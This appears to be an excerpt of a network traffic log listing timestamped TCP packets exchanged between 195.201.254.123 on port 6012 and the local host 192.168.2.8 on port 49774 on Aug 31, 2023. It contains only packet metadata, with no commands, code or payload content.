Aug 31, 2023 16:50:49.493472099 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.493484974 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.493521929 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.493532896 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.493570089 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.493617058 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.493664980 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.493665934 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.493665934 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.493714094 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.493716955 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.493778944 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.493850946 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.515055895 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.515111923 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.515157938 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.515207052 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.515254021 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.515295982 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.515306950 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.515295982 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.515295982 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.515361071 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.515376091 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.515414000 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.515424013 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.515451908 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.515484095 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.515487909 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.515549898 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.515575886 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.515609980 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.515655994 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.515657902 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.515681028 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.515703917 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.515742064 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.515752077 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.515782118 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.515799999 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.515846968 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.515856028 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.515897989 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.515947104 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.515966892 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.515966892 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.515988111 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.515995979 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.516046047 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.516066074 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.516093016 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.516112089 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.516124964 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.516145945 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.516170979 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.516192913 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.516216040 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.516242027 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.516280890 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.516289949 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.516314030 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.516339064 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.516375065 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.516386986 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.516427994 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.516433954 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.516460896 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.516480923 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.516525984 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.516529083 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.516565084 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.516577005 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.516596079 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.516625881 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.516645908 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.516671896 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.516699076 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.516724110 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.516747952 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.516771078 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.516798019 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.516818047 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.516844034 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.516865969 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.516895056 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.516911983 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.516933918 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.516961098 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.516992092 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.517008066 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.517055035 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.517066956 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.517107010 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.517107964 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.517126083 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.517158031 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.517178059 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.517204046 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.517225981 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.517254114 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.517287970 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.517301083 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.517349005 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.517380953 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.517380953 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.517395973 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.517442942 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.517446041 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.517492056 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.517538071 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.517538071 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.517540932 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.517592907 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.517595053 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.517637014 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.517644882 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.517694950 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.517724991 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.517724991 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.517743111 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.517757893 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.517798901 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.517836094 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.517847061 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.517889977 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.517895937 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.517925978 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.517945051 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.517981052 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.517992020 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.518019915 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.518039942 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.518066883 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.518088102 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.518107891 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.518136978 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.518157959 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.518186092 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.518205881 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.518232107 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.518251896 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.518280029 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.518299103 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.518326998 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.518347979 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.518373966 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.518393040 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.518420935 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.518441916 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.518470049 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.518486977 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.518518925 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.518533945 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.518568039 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.518584967 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.518616915 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.518644094 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.518665075 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.518692970 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.518714905 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.518738031 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.518764019 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.518790960 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.518812895 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.518836021 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.518861055 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.518888950 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.518912077 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.518939018 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.518961906 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.518989086 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.519011021 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.519037962 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.519062042 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.519083977 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.519110918 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.519135952 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.519160032 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.519187927 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.519210100 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.519232035 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.519258022 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.519282103 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.519309044 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.519331932 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.519359112 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.519381046 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.519407034 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.519429922 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.519474030 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.519476891 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.519522905 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.519556046 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.519570112 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.519617081 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.519658089 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.519663095 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.519658089 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.519695997 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.519714117 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.519761086 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.519768000 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.519807100 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.519813061 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.519838095 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.519855022 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.519876957 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.519903898 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.519933939 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.519953012 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.519973040 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.519999027 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.520018101 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.520050049 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.520071030 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.520107985 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.520117998 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.520154953 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.520174026 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.520203114 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.520231009 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.520256996 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.520277977 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.520324945 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.520329952 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.520374060 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.520399094 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.520421028 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.520445108 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.520467997 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.520493984 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.520519018 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.520545959 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.520567894 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.520603895 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.520617962 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.520643950 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.520665884 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.520687103 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.520716906 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.520735025 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.520766020 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.520807981 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.520813942 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.520833015 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.520863056 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.520883083 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.520935059 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.542198896 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.542237043 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.542264938 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.542295933 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.542325020 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.542351007 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.542378902 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.542385101 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.542407990 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.542439938 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.542452097 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.542453051 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.542453051 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.542468071 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.542484045 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.542499065 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.542515039 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.542527914 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.542546988 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.542557955 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.542587042 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.542589903 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.542589903 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.542614937 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.542625904 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.542644024 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.542674065 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.542675018 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.542675972 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.542701006 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.542706013 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.542736053 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.542745113 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.542764902 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.542772055 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.542793989 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.542812109 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.542824030 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.542831898 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.542851925 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.542881012 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.542896986 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.542896986 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.542908907 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.542932987 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.542933941 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.542939901 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.542967081 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.542968988 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.542994022 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.542999029 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.543026924 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.543035030 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.543055058 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.543057919 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.543082952 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.543083906 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.543104887 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.543112040 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.543142080 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.543152094 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.543170929 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.543176889 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.543195963 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.543201923 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.543234110 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.543246031 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.543262959 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.543272972 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.543292999 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.543301105 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.543320894 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.543330908 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.543350935 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.543361902 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.543382883 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.543390036 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.543410063 CEST	49774	6012	192.168.2.8	195.201.254.123
